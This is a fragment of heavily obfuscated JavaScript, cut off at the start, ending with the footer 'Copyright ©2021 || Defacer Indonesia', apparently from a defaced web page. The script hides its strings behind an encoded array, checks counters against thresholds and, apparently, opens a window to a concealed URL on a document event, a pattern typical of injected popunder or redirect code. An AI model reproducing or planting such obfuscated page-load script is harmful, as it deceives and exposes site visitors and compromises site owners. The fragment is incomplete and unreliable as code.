_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
Copyright ©2021 || Defacer Indonesia